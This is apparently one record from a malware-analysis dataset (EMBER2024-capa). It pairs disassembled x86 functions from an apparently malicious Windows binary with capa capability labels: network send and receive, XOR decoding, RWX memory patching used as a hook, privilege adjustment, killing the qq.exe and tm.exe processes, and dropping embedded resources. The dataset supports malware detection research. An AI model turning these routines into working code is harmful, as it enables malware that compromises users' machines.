joyce8/EMBER2024-capa huggingface dataset:
Function at 0x476374
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 0x2c]
call fcn.00405a88
mov esi, dword [ebx + 0x34]
mov edx, esi
add edx, 0x400
cmp eax, edx
jge 0x4763ac
add esi, 0x1000
push esi
lea eax, [ebx + 0x2c]
mov ecx, 1
mov edx, dword [0x475644]
call fcn.00405c64
add esp, 4
push 0
push 0x400
mov eax, dword [ebx + 0x2c]
mov edx, dword [ebx + 0x34]
add eax, edx
push eax
mov eax, dword [ebx + 4]
push eax
call sub.ws2_32.dll_recv
test eax, eax
jle 0x4763cc
add dword [ebx + 0x34], eax
pop esi
pop ebx
ret

Function at 0x476b54
Capabilities:
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov edi, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
xor eax, eax
push ebp
push 0x476cce
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
call fcn.0040477c
mov eax, ebx
call fcn.0047599c
test al, al
je 0x476cb8
mov cx, word [ebp + 0x14]
mov edx, dword [ebp + 0x18]
mov eax, ebx
call fcn.00475b64
test al, al
je 0x476cb8
xor eax, eax
mov dword [ebx + 0x30], eax
xor eax, eax
mov dword [ebx + 0x34], eax
xor eax, eax
mov dword [ebx + 0x38], eax
push 0x476ce8
push dword [ebp - 8]
push 0x476cf8
lea eax, [ebx + 0x3c]
mov edx, 3
call fcn.00404afc
lea eax, [ebx + 0x3c]
mov edx, 0x476d0c
call fcn.00404a44
push dword [ebx + 0x3c]
push 0x476d28
lea edx, [ebp - 0xc]
mov eax, esi
call fcn.00409358
push dword [ebp - 0xc]
push 0x476d44
lea eax, [ebx + 0x3c]
mov edx, 4
call fcn.00404afc
push dword [ebx + 0x3c]
push 0x476d50
push dword [ebp - 4]
push 0x476d44
lea eax, [ebx + 0x3c]
mov edx, 4
call fcn.00404afc
lea eax, [ebx + 0x3c]
mov edx, 0x476d60
call fcn.00404a44
lea eax, [ebx + 0x3c]
mov edx, 0x476d84
call fcn.00404a44
push 0
mov eax, dword [ebx + 0x3c]
call fcn.00404a3c
push eax
lea eax, [ebx + 0x3c]
call fcn.00404c94
push eax
mov eax, dword [ebx + 4]
push eax
call sub.ws2_32.dll_send
test esi, esi
jle 0x476c6f
push 0
push esi
mov eax, dword [ebp + 0x10]
push eax
mov eax, dword [ebx + 4]
push eax
call sub.ws2_32.dll_send
push 0x3e8
call sub.kernel32.dll_Sleep_1
lea eax, [ebx + 0x3c]
call fcn.0040477c
mov eax, ebx
call fcn.004763d0
cmp al, 1
jne 0x476cb1
mov ecx, edi
mov edx, dword [ebx + 0x30]
mov al, 0x20
call fcn.00404e2c
mov eax, edi
call fcn.00404c94
mov edx, eax
mov eax, dword [ebx + 0x2c]
mov ecx, dword [ebx + 0x38]
add eax, ecx
mov ecx, dword [ebx + 0x30]
call fcn.00402d88
mov eax, ebx
call fcn.00475a68
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x476cd5
lea eax, [ebp - 0xc]
call fcn.0040477c
ret
Function at 0x476e38
Capabilities:
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov esi, dword [ebp + 8]
mov eax, esi
call fcn.0040477c
mov eax, ebx
call fcn.0047599c
test al, al
je 0x476f46
mov cx, word [ebp + 0xc]
mov edx, dword [ebp + 0x10]
mov eax, ebx
call fcn.00475b64
test al, al
je 0x476f46
xor eax, eax
mov dword [ebx + 0x30], eax
xor eax, eax
mov dword [ebx + 0x34], eax
xor eax, eax
mov dword [ebx + 0x38], eax
push 0x476f58
push dword [ebp - 4]
push 0x476f68
lea eax, [ebx + 0x3c]
mov edx, 3
call fcn.00404afc
lea eax, [ebx + 0x3c]
mov edx, 0x476f7c
call fcn.00404a44
push dword [ebx + 0x3c]
push 0x476f98
push edi
push 0x476fa8
lea eax, [ebx + 0x3c]
mov edx, 4
call fcn.00404afc
lea eax, [ebx + 0x3c]
mov edx, 0x476fb4
call fcn.00404a44
lea eax, [ebx + 0x3c]
mov edx, 0x476fd8
call fcn.00404a44
push 0
mov eax, dword [ebx + 0x3c]
call fcn.00404a3c
push eax
lea eax, [ebx + 0x3c]
call fcn.00404c94
push eax
mov eax, dword [ebx + 4]
push eax
call sub.ws2_32.dll_send
push 0x3e8
call sub.kernel32.dll_Sleep_1
lea eax, [ebx + 0x3c]
call fcn.0040477c
mov eax, ebx
call fcn.004763d0
cmp al, 1
jne 0x476f3f
mov ecx, esi
mov edx, dword [ebx + 0x30]
mov al, 0x20
call fcn.00404e2c
mov eax, esi
call fcn.00404c94
mov edx, eax
mov eax, dword [ebx + 0x2c]
mov ecx, dword [ebx + 0x38]
add eax, ecx
mov ecx, dword [ebx + 0x30]
call fcn.00402d88
mov eax, ebx
call fcn.00475a68
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret 0xc

Function at 0x4775d4
Capabilities:
Delete file

Disassembly:
push ebx
add esp, 0xfffffedc
mov ebx, eax
lea eax, [esp + 0x1e]
mov edx, 0x1a
call fcn.004775b0
mov eax, ebx
call fcn.00404c3c
mov edx, eax
lea eax, [esp + 0x1e]
call fcn.00409e3c
mov eax, esp
mov edx, 0x1e
call fcn.004079e0
mov dword [esp + 4], 3
mov word [esp + 0x10], 0x414
lea eax, [esp + 0x1e]
mov dword [esp + 8], eax
push esp
call sub.shell32.dll_SHFileOperationA
test eax, eax
sete al
add esp, 0x124
pop ebx
ret

Function at 0x478ce0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov edi, edx
mov ebx, eax
test ebx, ebx
je 0x478d7c
test ebx, ebx
setl byte [esp]
mov eax, edi
mov edx, 0xb
call fcn.00404dc8
mov esi, 0xb
mov eax, ebx
mov ecx, 0xa
cdq
idiv ecx
mov eax, edx
cdq
xor eax, edx
sub eax, edx
mov ebp, eax
mov eax, ebx
mov ecx, 0xa
cdq
idiv ecx
mov ebx, eax
mov eax, edi
call fcn.00404c94
lea edx, [ebp + 0x30]
mov byte [eax + esi - 1], dl
dec esi
test ebx, ebx
jne 0x478d08
cmp byte [esp], 0
je 0x478d4d
mov eax, edi
call fcn.00404c94
mov byte [eax + esi - 1], 0x2d
dec esi
test esi, esi
jle 0x478d88
mov eax, edi
call fcn.00404c94
push eax
mov eax, edi
call fcn.00404c94
add eax, esi
mov ebx, 0xb
sub ebx, esi
mov ecx, ebx
pop edx
call fcn.00402d88
mov edx, ebx
mov eax, edi
call fcn.00404dc8
jmp 0x478d88
mov eax, edi
mov edx, 0x478d98
call fcn.004047d0
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x4793e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404c2c
xor eax, eax
push ebp
push 0x479442
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004047d0
mov eax, ebx
call fcn.00404c8c
mov eax, dword [ebx]
call fcn.00404a3c
test eax, eax
jle 0x47942c
mov edx, 1
mov ecx, dword [ebx]
xor byte [ecx + edx - 1], 0x55
inc edx
dec eax
jne 0x479421
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x479449
lea eax, [ebp - 4]
call fcn.0040477c
ret

Function at 0x479ba8
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov esi, eax
xor ebx, ebx
xor eax, eax
push ebp
push 0x479bf0
push dword fs:[eax]
mov dword fs:[eax], esp
push 2
mov edi, esi
push edi
call sub.kernel32.dll_IsBadReadPtr
test eax, eax
jne 0x479be6
cmp word [edi], 0x5a4d
jne 0x479be6
lea eax, [esi + 0x3c]
mov ebx, dword [eax]
add ebx, esi
cmp dword [ebx], 0x4550
je 0x479be6
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x479bfc
mov eax, ebx
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x479d8c
Capabilities:
Read file via mapping

Disassembly:
push ebx
push esi
push edi
mov esi, eax
xor edi, edi
call sub.kernel32.dll_GetVersion_1
test eax, 0x80000000
jne 0x479dd2
push 0x20a
push 0x40
call sub.kernel32.dll_LocalAlloc_2
mov ebx, eax
push 0x104
push ebx
push esi
call sub.kernel32.dll_GetModuleFileNameW
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.kernel32.dll_CreateFileW
mov esi, eax
jmp 0x479e03
push 0x105
push 0x40
call sub.kernel32.dll_LocalAlloc_2
mov ebx, eax
push 0x104
push ebx
push esi
call sub.kernel32.dll_GetModuleFileNameA_1
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push ebx
call sub.kernel32.dll_CreateFileA
mov esi, eax
push ebx
call sub.kernel32.dll_LocalFree_1
cmp esi, 0xffffffff
je 0x479e60
call sub.kernel32.dll_GetVersion_1
test eax, 0x80000000
jne 0x479e2e
push 0
push 0
push 0
push 2
push 0
push esi
call sub.kernel32.dll_CreateFileMappingW
mov ebx, eax
jmp 0x479e40
push 0
push 0
push 0
push 2
push 0
push esi
call sub.kernel32.dll_CreateFileMappingA
mov ebx, eax
test ebx, ebx
je 0x479e5a
push 0
push 0
push 0
push 4
push ebx
call sub.kernel32.dll_MapViewOfFile
mov edi, eax
push ebx
call sub.kernel32.dll_CloseHandle
push esi
call sub.kernel32.dll_CloseHandle
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x47cfc8
Capabilities:
Parse pe header

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffedc
mov ebp, ecx
mov esi, edx
mov edi, eax
xor ebx, ebx
push 0x1c
lea eax, [esp + 4]
push eax
push edi
call sub.kernel32.dll_VirtualQuery_1
cmp eax, 0x1c
jne 0x47d044
cmp dword [esp + 0x10], 0x1000
jne 0x47d044
cmp dword [esp + 4], 0
je 0x47d044
push 0x104
lea eax, [esp + 0x20]
push eax
mov eax, dword [esp + 0xc]
push eax
call sub.kernel32.dll_GetModuleFileNameA_1
test eax, eax
je 0x47d044
mov eax, dword [esp + 4]
mov dword [esi], eax
mov eax, dword [esi]
cmp word [eax], 0x5a4d
jne 0x47d044
mov eax, dword [esi]
mov edx, dword [esi]
add edx, 0x3c
add eax, dword [edx]
cmp dword [eax], 0x4550
jne 0x47d044
mov edx, dword [esi]
add edx, dword [eax + 0x78]
mov dword [ebp], edx
cmp dword [ebp], 0
setne bl
mov eax, ebx
add esp, 0x124
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x47ff9c
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov byte [ebp - 1], al
xor eax, eax
push ebp
push 0x480053
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea edx, [ebp - 0xc]
mov eax, 0x48006c
call fcn.004793e0
push dword [ebp - 0xc]
push 0x480080
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp + 8]
mov edx, dword [eax - 4]
mov edx, dword [edx]
mov cl, byte [ebp - 1]
mov eax, 0x48008c
call fcn.0047fe60
push dword [ebp - 0x10]
lea eax, [ebp - 8]
mov edx, 3
call fcn.00404afc
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
call fcn.00404c3c
push eax
call fcn.0047fd70
mov esi, eax
test esi, esi
je 0x480038
push 0
push 0
push 0
push 4
push esi
call sub.kernel32.dll_MapViewOfFile
test eax, eax
je 0x480032
mov edx, dword [ebp + 8]
mov edx, dword [edx - 4]
mov ecx, dword [eax]
mov dword [edx], ecx
push eax
call sub.kernel32.dll_UnmapViewOfFile
mov bl, 1
push esi
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48005a
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.004047a0
ret

Function at 0x4802e4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffffe4
mov edi, eax
xor esi, esi
call sub.kernel32.dll_GetVersion_1
test eax, 0x80000000
jne 0x480355
mov ebx, 0x5f040000
jmp 0x480343
cmp dword [esp + 0x10], 0x10000
jne 0x480321
push 0x40
push 0x2000
push edi
mov eax, dword [esp + 0xc]
push eax
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
jmp 0x480355
cmp dword [esp + 0xc], 0x10000
jae 0x480335
mov dword [esp + 0xc], 0x10000
jmp 0x48033d
and dword [esp + 0xc], 0xffff0000
mov eax, dword [esp + 0xc]
add ebx, eax
push 0x1c
lea eax, [esp + 4]
push eax
push ebx
call sub.kernel32.dll_VirtualQuery_1
cmp eax, 0x1c
je 0x480301
push 0x40
push 0x1000
push edi
push esi
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, esi
add esp, 0x1c
pop edi
pop esi
pop ebx
ret

Function at 0x480620
Capabilities:
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
pushfd
xor ebx, ebx
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x20], 0
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push ebx
call dword [0x490ab8]
cmp eax, 0x1c
jne 0x48069b
cmp dword [ebp - 0xc], 0x1000
jne 0x480696
cmp dword [ebp - 0x18], 0
je 0x480696
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x20], eax
je 0x480696
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0x10]
cmp eax, 0
jne 0x480675
mov eax, dword [ebp - 0x18]
cmp eax, 0x80000000
jae 0x48069b
push 2
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x18]
push eax
call dword [0x490a88]
cmp eax, 0
je 0x480696
push edi
push esi
mov eax, dword [ebp - 0x18]
push eax
call dword [0x490ae0]
add ebx, dword [ebp - 0x10]
jmp 0x480637
popfd
popal
add esp, 0x20
pop ebp
ret 0xc
Function at 0x484268
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor eax, eax
push ebp
push 0x48444f
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
xor edx, edx
mov eax, 0x484468
call fcn.0047ce30
mov dword [0x4932b4], eax
xor edx, edx
mov eax, 0x48448c
call fcn.0047ce30
mov dword [0x4932b8], eax
lea eax, [ebp - 8]
mov edx, 5
call fcn.00404dc8
lea eax, [ebp - 8]
call fcn.00404c94
mov byte [eax], 0x72
lea eax, [ebp - 8]
call fcn.00404c94
mov byte [eax + 1], 0x64
lea eax, [ebp - 8]
call fcn.00404c94
mov byte [eax + 2], 0x65
lea eax, [ebp - 8]
call fcn.00404c94
mov byte [eax + 3], 0x63
lea eax, [ebp - 8]
call fcn.00404c94
mov byte [eax + 4], 0x20
lea edx, [ebp - 0xc]
mov eax, 0x4844b4
call fcn.004793e0
push dword [ebp - 0xc]
push 0x4844c4
push dword [ebp - 8]
lea eax, [ebp - 0x10]
push eax
call sub.kernel32.dll_GetCurrentProcessId
mov cl, 0x30
mov edx, 1
call fcn.00479074
push dword [ebp - 0x10]
lea eax, [ebp - 8]
mov edx, 4
call fcn.00404afc
mov eax, dword [ebp - 8]
call fcn.00404c3c
push eax
push 0
push 0
call fcn.00406e14
mov edx, dword [ebp + 8]
mov dword [edx - 4], eax
mov eax, dword [ebp + 8]
cmp dword [eax - 4], 0
je 0x484434
push 0xffffffffffffffff
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
push eax
call sub.kernel32.dll_WaitForSingleObject
mov dword [0x4932a8], esi
mov dword [0x4932ac], edi
cmp dword [0x4932b4], 0
je 0x484384
cmp dword [0x4932b8], 0
jne 0x484406
mov dl, 1
mov eax, 0x4844d0
call fcn.0047cf2c
mov esi, eax
cmp dword [esi], 0x4244c8b
jne 0x484418
lea eax, [esi + 4]
mov eax, dword [eax]
and eax, 0xffffff
cmp eax, 0x241c8b
jne 0x484418
lea eax, [esi + 7]
cmp byte [eax], 0x51
jne 0x484418
lea eax, [esi + 8]
cmp byte [eax], 0x53
jne 0x484418
lea eax, [esi + 9]
cmp byte [eax], 0xe8
jne 0x484418
lea eax, [ebp - 4]
push eax
push 0x40
push 4
lea eax, [esi + 0xa]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x484418
lea edx, [esi + 0xe]
lea eax, [esi + 0xa]
add edx, dword [eax]
mov dword [0x4932b0], edx
mov edx, 0x484218
sub edx, esi
sub edx, 0xe
mov dword [eax], edx
lea edx, [ebp - 4]
push edx
mov edx, dword [ebp - 4]
push edx
push 4
push eax
call sub.kernel32.dll_VirtualProtect
mov bl, 1
jmp 0x484418
push 0x4841c4
push 1
call dword [0x4932b4]
test eax, eax
setne bl
test bl, bl
jne 0x484434
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
push eax
call sub.kernel32.dll_ReleaseMutex
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
push eax
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x484456
lea eax, [ebp - 0x10]
mov edx, 3
call fcn.004047a0
ret
Function at 0x4844ec
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp dword [0x4932b4], 0
je 0x484504
cmp dword [0x4932b8], 0
jne 0x48455d
mov dl, 1
mov eax, 0x484578
call fcn.0047cf2c
mov ebx, eax
lea eax, [ebp - 4]
push eax
push 0x40
push 4
lea esi, [ebx + 0xa]
push esi
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x484543
mov eax, dword [0x4932b0]
sub eax, ebx
sub eax, 0xe
mov dword [esi], eax
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 4]
push eax
push 4
push esi
call sub.kernel32.dll_VirtualProtect
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
push eax
call sub.kernel32.dll_ReleaseMutex
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
push eax
call sub.kernel32.dll_CloseHandle
jmp 0x484568
push 0x4841c4
call dword [0x4932b8]
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x487010
Capabilities:
Get token privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
xor eax, eax
push ebp
push 0x4871e6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x4871cb
xor eax, eax
push ebp
push 0x4871c4
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 3
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_GetTokenInformation
cmp dword [ebp - 8], 0
je 0x4871ad
mov eax, dword [ebp - 8]
add eax, eax
push eax
push 0x40
call sub.kernel32.dll_LocalAlloc_2
mov ebx, eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 8]
add eax, eax
push eax
push ebx
push 3
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_GetTokenInformation
test eax, eax
je 0x4871a7
lea eax, [ebp - 0x10]
push eax
lea edx, [ebp - 0x24]
mov eax, 0x4871fc
call fcn.004793e0
mov eax, dword [ebp - 0x24]
call fcn.00404c3c
push eax
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
jne 0x4870db
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x18]
push eax
lea edx, [ebp - 0x28]
mov eax, 0x487218
call fcn.004793e0
mov eax, dword [ebp - 0x28]
call fcn.00404c3c
push eax
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
jne 0x48710e
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x20]
push eax
lea edx, [ebp - 0x2c]
mov eax, 0x487234
call fcn.004793e0
mov eax, dword [ebp - 0x2c]
call fcn.00404c3c
push eax
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
jne 0x487141
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
mov esi, dword [ebx]
dec esi
test esi, esi
jl 0x487193
inc esi
xor ecx, ecx
lea edi, [ecx + ecx*2]
mov eax, dword [ebx + edi*4 + 4]
mov edx, dword [ebx + edi*4 + 8]
cmp edx, dword [ebp - 0xc]
jne 0x48715e
cmp eax, dword [ebp - 0x10]
je 0x48718f
lea eax, [ecx + ecx*2]
mov edx, dword [ebx + eax*4 + 8]
mov eax, dword [ebx + eax*4 + 4]
cmp edx, dword [ebp - 0x14]
jne 0x487173
cmp eax, dword [ebp - 0x18]
je 0x48718f
lea eax, [ecx + ecx*2]
mov edx, dword [ebx + eax*4 + 8]
mov eax, dword [ebx + eax*4 + 4]
cmp edx, dword [ebp - 0x1c]
jne 0x487188
cmp eax, dword [ebp - 0x20]
je 0x48718f
or dword [ebx + edi*4 + 0xc], 2
inc ecx
dec esi
jne 0x48714b
push 0
push 0
mov eax, dword [ebp - 8]
push eax
push ebx
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
push ebx
call sub.kernel32.dll_LocalFree_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4871cb
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4871ed
lea eax, [ebp - 0x2c]
mov edx, 3
call fcn.004047a0
ret
Function at 0x401000
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push esi
push edi
nop
nop
nop
push 0
push 2
mov dword [ebp - 0x12c], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [ebp - 0x12c]
push eax
push esi
mov dword [ebp - 4], esi
call sub.KERNEL32.dll_Process32First
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x108]
push ecx
push str.qq.exe
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x40106c
lea edx, [ebp - 0x108]
push edx
push str.tm.exe
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40108a
mov eax, dword [ebp - 0x124]
push eax
push 0
push 1
call ebx
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call edi
mov esi, dword [ebp - 4]
lea ecx, [ebp - 0x12c]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401040
push esi
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x4010b0
Capabilities:
Extract resource via kernel32 functions
Get file size
Read file on windows
Write file on windows

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x32
xor eax, eax
lea edi, [esp + 0x18]
push 0xc7
rep stosd dword es:[edi], eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x14], 0
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [esp + 0x378]
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
push 0x80
push 2
push 0
push 3
push 0x10000000
push ecx
call ebp
mov edi, eax
cmp edi, 0xffffffff
jne 0x40112c
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x364
ret
mov eax, dword [esp + 0x37c]
mov edx, dword [esp + 0x380]
and eax, 0xffff
push edx
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
lea ecx, [esp + 0x10]
mov esi, eax
push 0
push ecx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
push eax
push edi
call ebx
cmp dword [esp + 0x10], esi
je 0x401194
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x364
ret
push 0
push 0x80
push 3
push 0
push 1
lea edx, [esp + 0x2c]
push 0x80000000
push edx
call ebp
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
add eax, 0xfffffd6c
push 0
push eax
push esi
call ebp
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esp + 0xe8]
push 0x294
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 2
push 0
push 0
push edi
mov dword [esp + 0x380], eax
call ebp
lea edx, [esp + 0x14]
push 0
push edx
lea eax, [esp + 0xe8]
push 0x294
push eax
push edi
call ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push esi
call edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x364
ret

Function at 0x401230
Capabilities:
Check os version

Disassembly:
sub esp, 0x94
push edi
mov ecx, 0x25
xor eax, eax
lea edi, [esp + 4]
rep stosd dword es:[edi], eax
lea eax, [esp + 4]
mov dword [esp + 4], 0x94
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov edx, dword [esp + 8]
pop edi
cmp edx, 6
sbb eax, eax
inc eax
add esp, 0x94
ret